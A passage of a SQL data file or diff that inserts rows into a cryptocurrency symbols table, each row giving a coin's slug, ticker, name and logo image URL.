'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/javascript-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3166, 'helex-token', 'HLX', 'Helex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helex-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3167, 'cru', 'CRU', 'Curium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cru.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3168, 'traid', 'TRAID', 'Traid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/traid.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3169, 'lampix', 'PIX', 'Lampix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lampix.png', NULL); +INSERT INTO `t_symbols` VALUES (3170, 'save-environment-token', 'SET', 'Save Environment Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/save-environment-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3171, 'srcoin', 'SRH', 'SRH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/srcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3172, 'sequence', 'SEQ', 'Sequence', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sequence.png', NULL); +INSERT INTO `t_symbols` VALUES (3173, 'master-swiscoin', 'MSCN', 'Master Swiscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/master-swiscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3174, 'dash-green', 'DASHG', 'Dash Green', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dash-green.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3175, 'kayicoin', 'KAYI', 'Kayicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Kayicoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3176, 'nplc', 'NPLC', 'Plus Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nplc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3177, 'boutspro', 'BOUTS', 'BoutsPro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boutspro.png', NULL); +INSERT INTO `t_symbols` VALUES (3178, 'cryptohashtank-coin', 'CHTC', 'CryptoHashTank Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptohashtank-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3179, 'blocknode', 'BND', 'Blocknode', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/blocknodetech.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3180, 'vivid-coin', 'VIVID', 'Vivid Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vivid-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3181, 'argus', 'ARGUS', 'Argus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/argus.png', NULL); +INSERT INTO `t_symbols` VALUES (3182, 'exchain', 'EXT', 'Experience Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exchain.png', NULL); +INSERT INTO `t_symbols` VALUES (3183, 'edu-coin', 'EDU', 'EduCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edu-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3184, 'hey-chain', 'HEY', 'Hey Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hey-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3185, 'faith', 'FAITH', 'FaithCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/faith.png', NULL); +INSERT INTO `t_symbols` VALUES (3186, 'paypex', 'PAYX', 'Paypex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/paypex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3187, 'juriseum', 'JURM', 'Juriseum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/juriseum.png', NULL); +INSERT INTO `t_symbols` VALUES (3188, 'farad', 'FRD', 'Farad', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/faradcryptoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3189, 'c-bit', 'XCT', 'C-Bit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/c-bit.png', NULL); +INSERT INTO `t_symbols` VALUES (3190, 'luckyseventoken', 'LST', 'LuckySevenToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/luckyseventoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3191, 'zest', 'ZEST', 'Zest', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zest.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3192, 'arionum', 'ARO', 'Arionum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arionum.png', NULL); +INSERT INTO `t_symbols` VALUES (3193, 'brazio', 'BRAZ', 'Brazio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brazio.png', NULL); +INSERT INTO `t_symbols` VALUES (3194, 'securecoin', 'SRC', 'SecureCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/securecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3195, 'suretly', 'SUR', 'Suretly', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/suretly.png', NULL); +INSERT INTO `t_symbols` VALUES (3196, 'project-coin', 'PRJ', 'Project Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/project-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3197, 'vector', 'VEC2', 'VectorAI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vector.png', NULL); +INSERT INTO `t_symbols` VALUES (3198, 'atomic-coin', 'ATOM', 'Atomic Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atomic-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3199, 'mox', 'MOX', 'MoX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mox.png', NULL); +INSERT INTO `t_symbols` VALUES (3200, 'vct', 'VCT', 'ValueCyberToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vct.png', NULL); +INSERT INTO `t_symbols` VALUES (3201, 'dnotes', 'NOTE', 'Note', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/DNotesCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3202, 'benjirolls', 'BENJI', 'BenjiRolls', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/benjirolls.png', NULL); +INSERT INTO `t_symbols` VALUES (3203, 'altcoin-alt', 'ALT', 'Altcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/altcoin-alt.png', NULL); +INSERT INTO `t_symbols` VALUES (3204, 'printex', 'PRTX', 'Printex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/printex.png', NULL); +INSERT INTO `t_symbols` VALUES (3205, 'one-dex', 'ODEX', 'One DEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/one-dex.png', NULL); +INSERT INTO `t_symbols` VALUES (3206, 'intucoin', 'INTU', 'INTUCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intucoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3207, 'road-token', 'ROAD', 'ROAD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/road.png', NULL); +INSERT INTO `t_symbols` VALUES (3208, 'the-currency-analytics', 'TCAT', 'The Currency Analytics', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-currency-analytics.png', NULL); +INSERT INTO `t_symbols` VALUES (3209, 'din', 'DIN', 'Dinero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/din.png', NULL); +INSERT INTO `t_symbols` VALUES (3210, 'scanetchain', 'SWC', 'Scanetchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scanetchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3211, 'greenmed', 'GRMD', 'GreenMed', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/greenmed.png', NULL); +INSERT INTO `t_symbols` VALUES (3212, 'anon', 'ANON', 'ANON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3213, 'havethertoken', 'HET', 'HavEtherToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/havethertoken.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3214, 'photoelectricity-chain', 'PEC', 'photoelectricity-chain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3215, 'wild-beast-block', 'WBB', 'Wild Beast Block', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wild-beast-block.png', NULL); +INSERT INTO `t_symbols` VALUES (3216, 'cash2', 'CASH2', 'Cash2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cash2.png', NULL); +INSERT INTO `t_symbols` VALUES (3217, 'fujinto', 'NTO', 'Fujinto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fujinto.png', NULL); +INSERT INTO `t_symbols` VALUES (3218, 'stackbit', 'SBIT', 'Stackbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stackbit.png', NULL); +INSERT INTO `t_symbols` VALUES (3219, 'touristtoken', 'TOTO', 'Tourist Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/touristtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3220, 'levocoin', 'LEVO', 'Levocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/levocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3221, 'sf-capital', 'SFCP', 'SF Capital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sf-capital.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3222, 'pedity', 'PEDI', 'Pedity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pedity.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3223, 'viuly', 'VIU', 'Viuly', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/viuly.png', NULL); +INSERT INTO `t_symbols` VALUES (3224, 'bitf', 'BITF', 'bitf', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitf.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3225, 'omnescoin', 'OMNES', 'OmnesCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/omnescoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3226, 'saros', 'SAROS', 'SAROS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/saros.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3227, 'network-token', 'NTWK', 'Network Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/networktoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3228, 'harvest-masternode-coin', 'HC', 'Harvest Masternode Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/HarvestMnCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3229, 'gainer', 'GNR', 'Gainer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gainer.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3230, 'vikkytoken', 'VIKKY', 'VikkyToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vikkytoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3231, 'posex', 'PEX', 'PosEx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/posex.png', NULL); +INSERT INTO `t_symbols` VALUES (3232, 'driver', 'DRV', 'DRIVER', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/driver.png', NULL); +INSERT INTO `t_symbols` VALUES (3233, 'rainbow-zone', 'RBZ', 'rainbow-zone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rainbow-zone.png', NULL); +INSERT INTO `t_symbols` VALUES (3234, 'hydnora', 'HORA', 'Hydnora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hydnora.png', NULL); +INSERT INTO `t_symbols` VALUES (3235, 'cabbage', 'CAB', 'Cabbage', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cabbage.png', NULL); +INSERT INTO `t_symbols` VALUES (3236, 'intelligent-investment-chain', 'IIC', 'Intelligent Investment Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intelligent-investment-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3237, 'globfonecoin', 'GFC', 'GlobfoneCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/globfonecoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3238, 'mcap', 'MCAP', 'MCAP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcap.png', NULL); +INSERT INTO `t_symbols` VALUES (3239, 'airdrop', 'AIRDROP', 'AirdropToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/airdrop.png', NULL); +INSERT INTO `t_symbols` VALUES (3240, 'cointorox', 'OROX', 'Cointorox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cointorox.png', NULL); +INSERT INTO `t_symbols` VALUES (3241, 'socialcoin-socc', 'SOCC', 'SocialCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/socialcoin-socc.png', NULL); +INSERT INTO `t_symbols` VALUES (3242, 'prochain', 'PRA', 'ProChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prochain.png', NULL); +INSERT INTO `t_symbols` VALUES (3243, 'litecoin-token', 'LTK', 'LitecoinToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3244, 'bitvolt', 'VOLT', 'Asgardian Aereus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitvolt.png', NULL); +INSERT INTO `t_symbols` VALUES (3245, 'bionic', 'BNC', 'Bionic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bionic.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3246, 'xorn', 'XORN', 'XORN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xorn.png', NULL); +INSERT INTO `t_symbols` VALUES (3247, 'stakeshare', 'SSX', 'StakeShare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stakeshare.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3248, 'kaaso', 'KAASO', 'KAASO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kaaso.png', NULL); +INSERT INTO `t_symbols` VALUES (3249, 'mmcoin', 'MMC', 'mmcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mmcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3250, 'miacoin', 'MIAC', 'MIAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/miacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3251, 'eddie-coin', 'EDDIE', 'Eddie Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eddie-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3252, 'hirego', 'HGO', 'HireGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hirego.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3253, 'bitcoin-one', 'BTCONE', 'BitCoin One', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-one.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3254, 'exo', 'EXO', 'Exosis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exo.png', NULL); +INSERT INTO `t_symbols` VALUES (3255, 'qvolta', 'QVT', 'Qvolta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qvolta.png', NULL); +INSERT INTO `t_symbols` VALUES (3256, 'guess', 'GUESS', 'PeerGuess', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guess.png', NULL); +INSERT INTO `t_symbols` VALUES (3257, 'xovbank', 'XOV', 'XOVBank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xovbank.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3258, 'destiny', 'DES', 'Destiny', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/CryptoDestiny.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3259, 'solaris', 'XLR', 'Solaris', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solaris.png', NULL); +INSERT INTO `t_symbols` VALUES (3260, 'clone-winner-token', 'CWT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clone-winner-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3261, 'pkg-token', 'PKG', 'PKG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pkg-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3262, 'medicare', 'MDC', 'medicare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medicare.png', NULL); +INSERT INTO `t_symbols` VALUES (3263, 'helix', 'HLIX', 'Helix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helix.png', NULL); +INSERT INTO `t_symbols` VALUES (3264, 'galactrum', 'ORE', 'Galactrum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/galactrum.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3265, 'distx', 'DISTX', 'DistX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/distx.png', NULL); +INSERT INTO `t_symbols` VALUES (3266, 'furukuru', 'FUKU', 'Furukuru', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/.png', NULL); +INSERT INTO `t_symbols` VALUES (3267, 'bitcoin-le', 'BLE', 'Bitcoin LE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-le.png', NULL); +INSERT INTO `t_symbols` VALUES (3268, 'crypto-cash-back', 'CCBC', 'Crypto Cash Back', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crypto-cash-back.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3269, 'wins', 'WINS', 'wins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wins.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3270, 'connectome', 'CNTM', 'Connectome', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/connectome.png', NULL); +INSERT INTO `t_symbols` VALUES (3271, 'exus-coin', 'EXUS', 'EXUS Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exus-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3272, 'cybermiles', 'CMT', 'Comet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cybermiles.png', NULL); +INSERT INTO `t_symbols` VALUES (3273, 'ethbet', 'EBET', 'EthBet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethbet.png', NULL); +INSERT INTO `t_symbols` VALUES (3274, 'sparklemobile', 'SPRKL', 'Sparkle Loyalty', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sparklemobile.png', NULL); +INSERT INTO `t_symbols` VALUES (3275, 'viog', 'VIOG', 'VIOG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/viog.png', NULL); +INSERT INTO `t_symbols` VALUES (3276, 'rippedcoin', 'RIPPED', 'Ripped', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rippedcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3277, 'game-token', 'GMTK', 'game-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/game-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3278, 'aced', 'ACED', 'Aced [OLD]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aced.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3279, 'dach-coin', 'DACH', 'DACH Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dach-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3280, 'bazooka-token', 'BAZT', 'Baz Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bazooka-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3281, 'sucrecoin', 'XSR', 'Sucrecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sucrecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3282, 'fesschain', 'FESS', 'Fesschain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fesschain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3283, 'elysium', 'ELS', 'Elysium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elysium.png', NULL); +INSERT INTO `t_symbols` VALUES (3284, 'evos', 'EVOS', 'EVOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evolution-of-services%20.png', NULL); +INSERT INTO `t_symbols` VALUES (3285, 'profit-hunters-coin', 'PHC', 'Profit Hunters Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/profit-hunters-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3286, 'brat', 'BRAT', 'BROTHER', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/coinBrat.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3287, 'graphcoin', 'GRPH', 'Graphcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/GRPHcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3288, 'run', 'RUN', 'run', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/run.png', NULL); +INSERT INTO `t_symbols` VALUES (3289, 'kanadecoin', 'KNDC', 'KanadeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kanadecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3290, 'mcc', 'MCC', 'MultiCoinCasino', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcc.png', NULL); +INSERT INTO `t_symbols` VALUES (3291, 'orbis-token', 'OBT', 'Orbis Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orbis-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3292, 'dynamite-token', 'DYNMT', 'Dynamite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dynamite-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3293, 'qbase', 'QBS', 'QBase', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qbase.png', NULL); +INSERT INTO `t_symbols` VALUES (3294, 'bitclassic', 'B2C', 'BitClassic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitclassic.png', NULL); +INSERT INTO `t_symbols` VALUES (3295, 'bitcoinbrand', 'BTCB', 'BitcoinBrand', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinbrand.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3296, 'x12-coin', 'X12', 'X12 Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/x12-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3297, 'sltpos', 'SLT', 'SLT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sltpos.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3298, 'treasure-chain', 'TST', 'treasure-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/treasure-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3299, 'bitspace', 'BSX', 'Bitspace', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitspace.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3300, 'streamit-coin', 'STREAM', 'Streamit Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/streamit-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3301, 'interzone', 'ITZ', 'Interzone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/interzone.png', NULL); +INSERT INTO `t_symbols` VALUES (3302, 'jin-coin', 'JIN', 'Jin Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jin-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3303, 'oceanlab', 'OCL', 'Oceanlab', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/oceanlab_eu.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3304, 'healthywormcoin', 'WORM', 'HealthyWormCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/healthywormcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3305, 'joint-ventures', 'JOINT', 'Joint Ventures', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joint-ventures.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3306, 'lightstreams-photon', 'PHT', 'Lightstreams', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lightstreams-photon.png', NULL); +INSERT INTO `t_symbols` VALUES (3307, 'luck', 'LUCK', 'luck', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/luck.png', NULL); +INSERT INTO `t_symbols` VALUES (3308, 'caliphcoin', 'CALC', 'CaliphCoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3309, 'stakinglab', 'LABX', 'Stakinglab', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stakinglab.png', NULL); +INSERT INTO `t_symbols` VALUES (3310, 'blacer-coin', 'BLCR', 'Blacer Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blacer-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3311, 'spider-vps', 'SPDR', 'Spider Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spider-vps.png', NULL); +INSERT INTO `t_symbols` VALUES (3312, 'mnpcoin', 'MNP', 'MNPCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mnpcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3313, 'condominium', 'CDM', 'CDMCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/condominium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3314, 'coinonatx', 'XCXT', 'CoinonatX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinonatx.png', NULL); +INSERT INTO `t_symbols` VALUES (3315, 'procurrency', 'PROC', 'ProCurrency', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/procurrency.png', NULL); +INSERT INTO `t_symbols` VALUES (3316, 'poly-ai', 'AI', 'POLY AI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/poly-ai.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3317, 'posscoin', 'POSS', 'Posscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/posscoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3318, 'xenoverse', 'XENO', 'Xenoverse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/3b116e876dccdd784283f5a4eb6545ac.png', NULL); +INSERT INTO `t_symbols` VALUES (3319, 'firecoin', 'FIRE', 'Firecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/FirecoinX15.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3320, 'bitcoin-planet', 'BTPL', 'Bitcoin Planet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-planet.png', NULL); +INSERT INTO `t_symbols` VALUES (3321, 'themis', 'GET', 'Themis Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/themis.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3322, 'ocp', 'OCP', 'ocp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ocp.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3323, 'gladius-token', 'GLA', 'Gladius Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gladius-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3324, 'tagz-token', 'TAGZ', 'TAGZ', 